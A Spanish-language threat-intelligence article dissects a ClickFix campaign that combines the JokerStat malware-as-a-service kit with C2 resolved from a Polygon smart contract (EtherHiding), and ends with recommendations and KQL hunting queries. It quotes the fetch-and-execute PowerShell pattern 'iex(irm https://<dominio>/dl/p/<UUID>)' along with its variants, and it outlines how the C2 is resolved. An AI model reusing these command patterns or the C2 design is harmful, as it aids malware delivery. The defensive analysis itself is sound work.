ClickFix, JokerStat y C2 en blockchain: disección de una operación pre-ransomware como servicio

En este artículo analizaremos una campaña, documentada por Unit 42, que industrializa la convergencia de tres mundos que hasta hace poco operaban por separado: la ingeniería social de ClickFix (inducir a la víctima a ejecutar un comando desde su propio equipo), un kit de malware como servicio (MaaS) llamado JokerStat con paneles de operador y soporte por Telegram, y una capa de comando y control resuelta en la blockchain de Polygon mediante la técnica EtherHiding. La cadena termina en staging previo a ransomware: robo de credenciales de LSASS, enumeración de Active Directory y auto-replicación. La actividad se solapa con operaciones atribuidas a Rapid Brigantine (Vanilla Tempest).

Tesis del artículo: esta operación no introduce una técnica inédita; ensambla varias con lógica de producto. La consecuencia defensiva es que las listas de bloqueo y el escaneo de archivos llegan tarde por diseño. El control efectivo se desplaza al eslabón humano, al egress y a la lectura del propio contrato en la cadena de bloques.

1. El contexto y la anatomía de la cadena

Lo relevante de esta campaña no es ninguna técnica aislada, sino cómo se ensamblan. Es un caso de estudio del modelo compartimentado que gobierna el ecosistema de ransomware actual, donde el acceso, la plataforma de entrega y la post-explotación son servicios independientes que se acoplan por transacción.

La secuencia completa recorre seis etapas. Un usuario llega a un sitio comprometido que le muestra una falsa verificación de seguridad; siguiendo las instrucciones, pega y ejecuta un comando de PowerShell que arranca toda la cadena. El payload viaja oculto en una imagen y se ejecuta en memoria sobre un proceso firmado y confiable. El malware pregunta a un contrato en la blockchain de Polygon cuál es su servidor de mando y control vigente, se conecta, persiste y comienza a preparar el terreno para el cifrado.

2. ¿Qué es ClickFix? Mecánica y por qué funciona

ClickFix es una técnica de acceso inicial que invierte la carga de la ejecución: en lugar de que el atacante entregue y detone un binario, es la propia víctima quien ejecuta el código malicioso en su equipo, convencida de que realiza un paso de verificación legítimo. El patrón se popularizó a mediados de 2024 y hoy es uno de los vectores de entrada de mayor crecimiento porque elude, de raíz, las defensas centradas en la descarga de archivos.

El mecanismo se apoya en tres piezas. Primero, un señuelo que imita una pantalla familiar y confiable —un desafío de Cloudflare, una actualización del navegador, un error de reproducción de video—. Segundo, la inyección silenciosa en el portapapeles: mediante JavaScript, la página coloca un comando en el portapapeles del usuario sin que este lo perciba. Tercero, unas instrucciones guiadas que llevan a la víctima a abrir una consola con privilegios y pegar el comando. En la campaña analizada, el señuelo instruye la secuencia Win+X, elegir Terminal, Ctrl+V y Enter.

El comando del portapapeles y el polimorfismo sintáctico

El comando pegado sigue un patrón reconocible: fija el protocolo de seguridad a TLS 1.2 y a continuación invoca iex(irm 'https://<dominio>/dl/p/<UUID>'), es decir, descarga la siguiente etapa del payload (el siguiente “stage”) desde un dominio de C2 y lo ejecuta en memoria. El detalle interesante para la ingeniería de detección es que el kit no emite un único comando, sino cinco variantes sintácticas equivalentes: enumeración explícita del protocolo, forma numérica abreviada (3072 equivale a TLS 1.2), banderas abreviadas (-ubp en lugar de -UseBasicParsing), sintaxis con operador de tubería (por ejemplo, 'https://<dominio>/dl/p/<UUID>' | iex en lugar de iex(irm ...)), y uso de la cadena de texto 'Tls12' en lugar del valor numérico para fijar el protocolo. Todas producen el mismo efecto, pero cambian la huella textual para degradar las reglas basadas en firmas estáticas. A esto se suma la rotación de los dominios de C2 y el uso de rutas con identificadores UUID por víctima.

¿Por qué funciona tan bien? Porque desplaza el punto de decisión desde la máquina hacia la persona y desde el archivo hacia una acción manual. No hay descarga que un navegador pueda bloquear ni adjunto que un gateway pueda detonar en sandbox; hay un ser humano copiando texto. Además, la ejecución interactiva en PowerShell deja una traza forense muy concreta —la clave de registro RunMRU— que, paradójicamente, es también una de las mejores oportunidades de detección.

3. El actor y la estructura de afiliados (JokerStat MaaS)

Detrás de la campaña no hay un actor monolítico, sino una cadena de suministro del cibercrimen. Conviene separar los roles porque cada uno se comercializa por separado y esa separación es, en sí misma, un rasgo defensivamente relevante.

La plataforma: JokerStat como kit MaaS

El elemento articulador de esta operación es JokerStat, un kit de malware como servicio. La evidencia es contundente: los quince dominios de C2 identificados sirven exactamente el mismo clon —una falsa página de acceso a un panel de analítica llamado JokerStat— y ofrecen incluso un canal de soporte por Telegram (@jokerstat_support) para los operadores que adquieren el kit. El propio código delata la marca: la variable de guarda que evita ejecuciones concurrentes de la captura de pantalla se llama __jks_screen_run_ (jks por JokerStat).

Este es el patrón del MaaS moderno, ya documentado en kits como Odyssey: un operador desarrolla y mantiene la plataforma —los paneles, la infraestructura de resolución, las páginas señuelo— y la alquila a afiliados que ejecutan las campañas. La consecuencia operativa es doble. Por un lado, homogeneiza los artefactos: el mismo clon y las mismas rutas aparecen en infraestructura distinta, lo que facilita el pivote y la caza para el defensor. Por el otro, desacopla la atribución: quien despliega el señuelo no es necesariamente quien desarrolla el kit ni quien ejecuta el ransomware final.

La post-explotación: solapamiento con Rapid Brigantine

La actividad posterior a la ejecución refleja de cerca operaciones atribuidas a Rapid Brigantine, un actor también conocido como Vanilla Tempest, DEV-0832, Vice Society y VICE SPIDER, activo desde al menos 2022 y asociado a familias de ransomware como Rhysida, BlackCat, Zeppelin y Quantum Locker. La formulación correcta es solapamiento conductual, no atribución concluyente: los TTP coinciden, pero en un modelo de afiliados el mismo conjunto de técnicas puede ser operado por manos distintas. Mantener esa cautela analítica es parte del rigor del informe, no una debilidad de este.

4. Blockchain en la cadena de ataque: EtherHiding sobre Polygon

Este es el corazón técnico de la operación y lo que la separa del ClickFix genérico. En lugar de codificar el servidor de C2 en el malware —donde sería un indicador fijo y bloqueable— el implante lo consulta en tiempo real a un contrato inteligente en la blockchain de Polygon. La técnica se conoce como EtherHiding.

Qué es EtherHiding y de dónde viene

EtherHiding fue documentada por primera vez por Guardio Labs en octubre de 2023, en el marco de la campaña ClearFake, y desde entonces la han adoptado actores cada vez más capaces, incluido un clúster norcoreano descrito por Google (Mandiant/GTIG) en octubre de 2025. La idea es tomar prestado un concepto del espionaje clásico —el resolutor de punto muerto o dead-drop resolver— y llevarlo a la cadena de bloques: en vez de conectarse directamente al C2, el malware primero consulta una fuente pública y legítima para averiguar cuál es el C2 vigente. Cuando esa fuente es un contrato inteligente, hereda todas las propiedades de la blockchain: es inmutable, está replicada globalmente y cualquiera puede leerla, incluido el malware.

Cómo funciona en esta campaña, paso a paso

El código de resolución implementa una función getServers() que itera una lista de ocho endpoints RPC públicos de Polygon —drpc.org, publicnode, 1rpc.io, QuickNode, OnFinality, Pocket Network, entre otros— y contra cada uno emite una llamada eth_call. Esa llamada invoca el método identificado por el selector 0x3bc5de30 sobre el contrato 0xf5966808a9ECbdb8794F568922809C52b0Fd2446. El contrato devuelve, codificada en su estado, la lista de dominios de C2 activos.

Tres decisiones de diseño merecen atención. La redundancia de endpoints —ocho RPC distintos— garantiza que bloquear uno o dos proveedores no interrumpa la resolución. El uso de eth_call, que es una llamada de solo lectura, significa que no se consume gas ni se genera una transacción: la consulta es gratuita, no deja rastro en el historial de transacciones del contrato y, sobre el cable, es indistinguible de la interacción de cualquier aplicación descentralizada legítima. Y la rotación se vuelve trivial para el atacante: con una sola transacción que reescribe el estado del contrato, cambia el C2 de toda la botnet simultáneamente.

Por qué importa: resiliencia frente a auditabilidad

El C2 on-chain invierte una premisa básica de los takedowns. El comando y control tradicional tiene un centro incautable —un dominio, una IP, un servidor—. Aquí no lo hay: el punto de resolución vive en un contrato inmutable que no admite sinkholing ni puede darse de baja. Para el defensor, esto significa que perseguir los dominios resueltos es una carrera perdida, porque son efímeros y se reemplazan con una transacción.

Este patrón no es teórico ni marginal. En abril de 2026, The DFIR Report documentó una intrusión en la que un malware que resolvía su C2 desde contratos —EtherRAT— derivó, a través de un framework de C2, en el despliegue del ransomware The Gentlemen. La clase de infraestructura que aquí se analiza es la misma que termina en cifrado a escala empresarial.

El arma de doble filo. La misma inmutabilidad que protege al atacante lo expone. El estado del contrato es público, permanente y con marca de tiempo. Leer el historial de escrituras del contrato enumera todos los dominios de C2 que han estado activos y revela el ritmo de operación del actor. La lectura correcta es contraintuitiva: el dominio resuelto es el indicador más débil y la dirección del contrato es el indicador más fuerte y perdurable. Ese es el pivote de detección y atribución que el atacante no puede borrar.

5. Técnicas de evasión

Más allá del C2 en blockchain, la operación acumula varias capas de evasión que conviene entender por separado, porque cada una anula una familia distinta de controles.

Esteganografía en PNG y ejecución en memoria con Donut

El payload no viaja en claro: se oculta dentro de los datos de píxel de una imagen PNG. Un loader .NET reconstruye desde esos píxeles un shellcode empaquetado con Donut —un framework legítimo de red team que convierte ejecutables .NET o PE en shellcode de posición independiente— y lo ejecuta directamente en memoria. En disco solo queda una imagen estadísticamente normal, lo que anula el escaneo estático de archivos.

DLL sideloading sobre binario firmado

El proceso que ejecuta el shellcode es un binario de Microsoft legítimamente firmado, al que se le hace cargar una DLL maliciosa por sideloading. El resultado es que la actividad hereda la reputación del binario firmado: la telemetría deja de decir “binario desconocido” y pasa a decir “carga de módulo en un proceso confiable”, un evento mucho más difícil de priorizar para un EDR basado en reputación.

Exfiltración de pantalla y reinyección dinámica del portapapeles

El kit incluye dos capacidades adicionales. La primera es la exfiltración de capturas de pantalla: usando html2canvas, el implante renderiza la página visible, la serializa como JPEG en base64 y la envía por POST al endpoint /collect/screen del C2, repitiéndolo cada 120 segundos. La segunda es la inyección dinámica del portapapeles: el implante consulta el endpoint /cload —parametrizado con un identificador, el sistema operativo y el hostname de la víctima— y ejecuta como script el contenido devuelto, que a su vez reescribe el portapapeles. Esto permite al operador cambiar el comando ClickFix servido a cada víctima sin tocar la página, de forma segmentada y en caliente.

Polimorfismo, rotación y persistencia resistente al aislamiento

A las anteriores se suman el polimorfismo sintáctico del payload (las cinco variantes ya descritas), la rotación de quince dominios de C2 registrados con poca antelación, y un rasgo especialmente incómodo para la respuesta a incidentes: en al menos un caso documentado, la persistencia siguió relanzándose durante horas después de aislar el host en red. El aislamiento del EDR no cortó el mecanismo de relanzamiento local, lo que obliga a tratar el aislamiento como contención temporal y no como erradicación.

6. Post-explotación y staging pre-ransomware

La fase final es un manual de preparación de impacto. Se observa volcado de credenciales desde el proceso LSASS, enumeración por LDAP de administradores de dominio y de equipos, y auto-replicación del código en directorios con nombres aleatorizados. Ese trío —robo de credenciales, mapeo de Active Directory y propagación— no corresponde a un infostealer que exfiltra y se marcha, sino al reconocimiento de dominio con intención de movimiento lateral y despliegue masivo de cifrado. Es, en términos prácticos, la antesala del ransomware, y es también la última ventana de detección limpia antes del cifrado.

7. Indicadores de compromiso (IoC)

Los siguientes indicadores provienen de la investigación de Unit 42 y de la evidencia analizada. Deben verificarse contra su vigencia antes de operacionalizarlos, dada la rotación descrita; el indicador más perdurable no es ningún dominio, sino la dirección del contrato.

8. Mapeo a MITRE ATT&CK

9. Recomendaciones de protección

Las contramedidas se ordenan por dominio de control y por su resistencia frente a la evasión específica de esta cadena. El criterio rector es concreto: cada medida ataca un eslabón identificado y se explica por qué funciona, evitando la recomendación genérica.

C1 — Cortar el eslabón humano en el endpoint

Es la medida de mayor impacto y menor fricción, porque toda la cadena depende de que un usuario ejecute PowerShell interactivo. Restringir o auditar el diálogo Ejecutar y el acceso a la Terminal para cuentas estándar mediante GPO; desplegar reglas ASR de Microsoft Defender que bloqueen la creación de procesos hijos desde el navegador y la ejecución de contenido ofuscado; y habilitar el registro de PowerShell (ScriptBlock y Module Logging) junto con Constrained Language Mode. Si la ejecución interactiva está gobernada por política, la cadena se rompe en su primer eslabón.

C2 — Gobernar el egress y vigilar la resolución en blockchain

La lección de EtherHiding es que bloquear dominios es insuficiente por diseño. La contramedida realista tiene dos frentes. En el egress: proxy con inspección y bloqueo de tráfico RPC/Web3 no autorizado hacia nodos de blockchain (Polygon, BSC, Ethereum) desde procesos que no son navegadores ni carteras legítimas; y filtrado de dominios de registro muy reciente (NRD). En inteligencia on-chain: incorporar la dirección del contrato como indicador de vigilancia y leer periódicamente su historial de estado para enumerar los C2 vigentes e históricos, convirtiendo la inmutabilidad del atacante en telemetría propia.

C3 — Endurecer el endpoint contra la evasión en memoria

Frente a la ejecución en memoria y al sideloading sobre binarios firmados, la firma de fichero deja de bastar: el EDR debe apoyarse en protección conductual y detección de inyección en memoria, no solo en reputación. Para el robo de credenciales, activar la protección de LSASS (RunAsPPL / LSA Protection), Credential Guard donde el hardware lo permita, y la regla ASR que bloquea el volcado de credenciales desde LSASS.

C4 — Redefinir la contención en respuesta a incidentes

Dado que la persistencia sobrevivió al aislamiento, la contención de red debe acompañarse de una erradicación local verificada: enumeración de tareas programadas, claves Run/RunOnce, servicios y watchdogs antes de declarar contenido el host. Se asume persistencia redundante y se trata el aislamiento como medida temporal, no como estado final del incidente.

C5 — Cazar la actividad post-explotación como red de seguridad

Si la evasión temprana tuvo éxito, la fase de reconocimiento de dominio es la última oportunidad limpia antes del cifrado. Monitorear accesos anómalos a lsass.exe, ráfagas de consultas LDAP enumerando grupos privilegiados y objetos de tipo equipo, y creación de archivos replicados en directorios aleatorizados. Son señales que la esteganografía y el C2 en blockchain no pueden ocultar.

10. Detección e ingeniería de cacería

La detección de mayor valor es la del acto ClickFix en sí, porque es el eslabón que la víctima no puede ocultar. Windows registra los comandos ejecutados desde el diálogo Ejecutar en la clave RunMRU, lo que permite parsear entradas en busca de uso sospechoso. Las siguientes consultas son puntos de partida —no reglas de producción— para orientar la cacería.

KQL · Cadena parental anómala (Defender / Sentinel)

// PowerShell / mshta / rundll32 lanzados por el navegador o Explorer
DeviceProcessEvents
| where InitiatingProcessFileName in~ ("explorer.exe","chrome.exe","msedge.exe")
| where FileName in~ ("powershell.exe","mshta.exe","rundll32.exe")
| where ProcessCommandLine has_any ("irm","iex","-enc","-ubp","UseBasicParsing","3072")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine

KQL · Egress hacia RPC de blockchain desde procesos no-navegador

// Conexiones a nodos RPC (Polygon/BSC/Ethereum) fuera de navegadores y wallets
DeviceNetworkEvents
| where RemoteUrl has_any ("drpc.org","publicnode.com","1rpc.io","quiknode.pro",
        "onfinality.io","pocket.network","rpc.polygon")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, RemoteUrl

KQL · Acceso sospechoso a LSASS

DeviceEvents
| where ActionType == "OpenProcessApiCall"
| where FileName =~ "lsass.exe"
| where InitiatingProcessFileName !in~ ("MsMpEng.exe","wmiprvse.exe")
| summarize count() by DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath

Como complemento, tres señales de alto rendimiento cierran el espectro: binarios firmados de Microsoft que cargan DLLs desde rutas de usuario no estándar (%APPDATA%, %TEMP%, directorios aleatorizados); tráfico saliente periódico y regular hacia el endpoint /collect/screen o patrones POST con cuerpos JPEG en base64; y el monitoreo directo, en un explorador de bloques, de la dirección del contrato para alertar sobre cada nueva escritura de estado —es decir, sobre cada rotación de C2 en el momento en que ocurre.

11. Conclusión

Esta operación no destaca por inventar, sino por integrar con criterio de producto. Ensambla ingeniería social de portapapeles, un kit MaaS con paneles y soporte, evasión en memoria y un C2 en blockchain, y lo orquesta hacia un único fin: el cifrado. Su significado para la postura de riesgo institucional es que consolida un patrón donde la entrega es barata y comoditizada, la evasión es de grado ofensivo y la infraestructura de control resiste los takedowns. Una defensa organizada por firmas y listas de bloqueo llega, estructuralmente, tarde.

La respuesta correcta no es acumular herramientas, sino reordenar los controles alrededor de tres verdades que esta cadena deja expuestas. El eslabón más frágil del atacante es la ejecución humana del comando, y ahí conviene concentrar la fricción. La resolución del C2 vive fuera de la infraestructura incautable, de modo que el egress y la lectura del propio contrato se convierten en el punto de control real. Y la contención por aislamiento es una ilusión si no se acompaña de erradicación local verificada. El defensor que internalice esas tres ideas no necesita anticipar cada variante futura: le basta con cerrar las condiciones que todas comparten. La misma inmutabilidad que hace invencible el C2 del atacante es, leída al revés, el registro público que lo delata.

Fuentes y referencias

1. Unit 42, Palo Alto Networks — ClickFix campaign utilizing MaaS kit with Blockchain C2 (Timely Threat Intelligence, 2026-07-02).
2. Unit 42, Palo Alto Networks — Fix the Click: Preventing the ClickFix Attack Vector.
3. Unit 42, Palo Alto Networks — The ClickFix Factory: First Exposure of IUAM ClickFix Generator (modelo MaaS/afiliados; Odyssey).
4. Unit 42, Palo Alto Networks — 2026 Global Incident Response Report (ClickFix, ejecución en memoria, cadena hacia ransomware).
5. Guardio Labs — EtherHiding: Hiding Web2 Malicious Code in Web3 Smart Contracts (divulgación original, 2023).
6. Google Threat Intelligence Group / Mandiant — DPRK Adopts EtherHiding (UNC5342, dead-drop resolver, oct. 2025).
7. The DFIR Report — EtherRAT → TukTuk C2 → The Gentlemen ransomware (C2 on-chain con desenlace en ransomware, abr. 2026).
8. BlueVoyant — Lorem Ipsum, ClickFix Pivot & Rapid Brigantine. Sekoia.io — Unveiling ErrTraffic (ClickFix + EtherHiding MaaS).
9. Huntress — ClickFix Gets Creative: Malware Buried in Images. Silent Push — Unmasking SocGholish and its operator TA569.
10. MITRE ATT&CK — matriz empresarial de tácticas y técnicas.

Autor: Nahum Deavila. Fuente primaria: Unit 42, Palo Alto Networks.